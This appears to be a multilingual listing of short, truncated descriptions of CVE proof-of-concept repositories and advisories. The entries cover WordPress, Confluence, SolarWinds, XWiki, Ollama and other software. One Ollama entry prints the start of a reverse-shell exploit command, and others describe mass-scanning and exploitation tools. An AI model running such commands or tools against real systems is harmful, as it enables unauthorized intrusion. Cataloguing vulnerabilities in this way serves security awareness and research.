USN-8870-1: OpenStack Aodh and Watcher vulnerability

Chen YuXiang discovered that OpenStack Aodh did not correctly enforce project scoping in its alarm list API and that the OpenStack Watcher webhook trigger endpoint did not apply authorization. An attacker could possibly use this issue to access sensitive alarm metadata or trigger unauthorized...

USN-8870-1 aodh, watcher vulnerability

Chen YuXiang discovered that OpenStack Aodh did not correctly enforce project scoping in its alarm list API and that the OpenStack Watcher webhook trigger endpoint did not apply authorization. An attacker could possibly use this issue to access sensitive alarm metadata or trigger unauthorized...

CVE-2024-10924

POC لـ CVE-2024-10924 يسمح خلل في معالجة الأخطاء في REST API للمكوّن الإضافي Really Simple Plugins الخاص بـ WordPress الإصدارات من 9.0.0 حتى 9.1.1.1 شاملة للمهاجم، عند تفعيل المصادقة الثنائية 2FA، بتجاوز المصادقة والسيطرة على حساب مستخدم أو مسؤول موجود. بما أنني شخص لطيف، ستجد أيضًا الإصدار 9.1.1...

jenkinsci__docker-commons-plugin_CVE-2022-20617_1-17

ملحق Docker Commons API لـ Jenkins ملحق API يوفر الوظائف المشتركة للعديد من الملحقات المتعلقة بـ Docker. ملخص API لإدارة بصمات صور وحاويات Docker بيانات الاعتماد وموقع سجل Docker بيانات الاعتماد وموقع خادم Docker المعروف أيضًا باسم Docker Remote API ToolInstallation لعملاء Docker CLI نقطة تمديد...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server تسمح هذه الثغرة لمهاجم غير مصادَق بتنفيذ تعليمات برمجية عشوائية عن بُعد على خادم Confluence المتأثر. توجد الثغرة بسبب عدم التحقق السليم من الإدخال الذي يقدمه المستخدم في REST API الخاص بـ Confluence. وهذا يتيح للمهاجم حقن تعليمات برمجية خبي...

CVE-2020-10148

طريقة الاستخدام وإخلاء المسؤولية هذا البرنامج النصي هو أداة كشف جماعي لثغرة تنفيذ الأكواد عن بُعد في واجهة برمجة تطبيقات SolarWinds Orion CVE-2020-10148. طريقة الاستخدام: Python CVE-2020-10148.py urls.txt في urls.txt، كل رابط في سطر، وعناوين الثغرات تُخرج في vul.txt. الإصدارات المتأثرة: الإصدارات...

CVE-2025-24893-XWiki-RCE

📜 Description Une vulnérabilité RCE critique existe dans XWiki qui permet à des attaquants non authentifiés d'exécuter des commandes système arbitraires via des points de terminaison API vulnérables. L'exploitation peut entraîner : Prise de contrôle complète du serveur Vol ou destruction de donné...

CVE-2021-21975

المنتجات المتأثرة VMware vRealize Operations 8.3.0、8.2.0、8.1.1、8.1.0、7.5.0 VMware Cloud Foundation 4.x、3.x vRealize Suite Lifecycle Manager 8.x الوصف في 31 مارس 2021، أصدرت VMware رسميًا إشعار المخاطر الخاص بـ vmsa-2021-0004. أرقام الثغرات هي cve-2021-21975 و cve-2021-21983. مستوى الثغرة عالي...

CVE-2022-24112_POC

POC POC تم جمعها CVE-2022-24112 لتوفير بيئة اختبار لسحابة Chunqiu: CVE-2022-24112، تم تعديل اثنين من POC، مع تعديل طفيف لـ POC الخاص بـ M4xSec و twseptian لتتناسب مع بيئة السحابة: سحابة Chunqiu: CVE-2022-24112: Apache Apisix هي خدمة بوابة API ميكروخدمات سحابية تابعة لمؤسسة Apache الولايات المتحدة...

wp2shell-poc

wp2shell 💙 Soutenez le projet Si vous appréciez mon travail, envisagez de soutenir le projet via USDT TRC20 : TQBA72kakjCZLnJt8fJYcD7dyQCEpzNtVN Chaîne RCE pré-authentification du cœur de WordPress wp2shell est une preuve de concept de recherche en sécurité démontrant une chaîne de vulnérabilités...

CVE-2020-27199

CVE-2020-27199 Magic Home Pro - Authentication Bypass تم العثور على عدة ثغرات أمنية في تطبيق Magic Home Pro للهواتف المحمولة المستخدم للتواصل مع مجموعة إضاءة LED الشريطية JadeHomic. أكثر هذه الثغرات أهمية هي ثغرة تجاوز المصادقة CVE-2020-27199، والتي تتيح في النهاية السيطرة الكاملة على مجموعة أجهز...

CVE-2025-8723

⚡️ Cloudflare Image Resizing Description : Le point de terminaison de l'API REST du plugin n'authentifie pas les utilisateurs et assainit incorrectement les entrées dans la méthode hookrestpredispatch. Cette faille permet aux attaquants d'injecter et d'exécuter du code PHP arbitraire en forgeant...

CVE-2020-13937

الوصف تعرّض Apache Kylin في الإصدارات 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha لواجهة RESTful تعرض معلومات تهيئة Kylin دون أي مصادقة،...

CVE-2024-49328

CVE-2024-49328 WP REST API FNS ; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Co...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Nécessite d'être exécuté sous Linux, l'environnement doit avoir gcc Installer golang, exécuter la commande suivante pour lancer un shell inverse go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...

CVE-2023-5561-PoC

CVE-2023-5561-PoC WordPress ne restreint pas correctement les champs utilisateur pouvant être recherchés via l'API REST, ce qui permet à des attaquants non authentifiés de découvrir les adresses e-mail des utilisateurs ayant publié des articles publics sur un site affecté via une attaque de type...

CVE-2026-63030

CVE-2026-63030: wp2shell استغلال حقن SQL أعمى عبر فك تزامن واجهة برمجة التطبيقات بالجملة في ووردبريس أداة إثبات المفهوم لاستخراج المستخدمين وهاشات كلمات المرور عبر الثغرة CVE-2026-63030 wp2shell. معلومات الثغرة CVE : CVE-2026-63030 wp2shell CVE مرافقة : CVE-2026-60137 النوع : حقن SQL أعمى بدون...

CVE-2026-60137-WordPress-Core-SQL-Injection-PoC

CVE-2026-60137 — PoC d'injection SQL dans WordPress Core Preuve de concept non destructrice et harnais de vérification pour CVE-2026-60137 , une injection SQL aveugle dans le cœur de WordPress WPQuery::authornotin, accessible via le paramètre authorexclude de l'API REST. Cause racine...

CVE-2026-63030-WP2Shell

CVE-2026-63030 | WP2Shell exploité par gr1tx WP2Shell est une preuve de concept PoC basée sur Python pour CVE-2026-63030. Elle effectue une vérification de vulnérabilité basée sur le temps contre l'API Batch de WordPress et génère des rapports détaillés en HTML et JSON. Le projet est destiné aux...

WP2Shell

WP2Shell - CVE-2026-63030 / CVE-2026-60137 Injection SQL du Batch de l'API REST WordPress vers une exécution de code à distance RCE Outil complet de découverte et d'exploitation de la vulnérabilité de l'endpoint Batch de l'API REST WordPress. Cet outil exploite une vulnérabilité critique...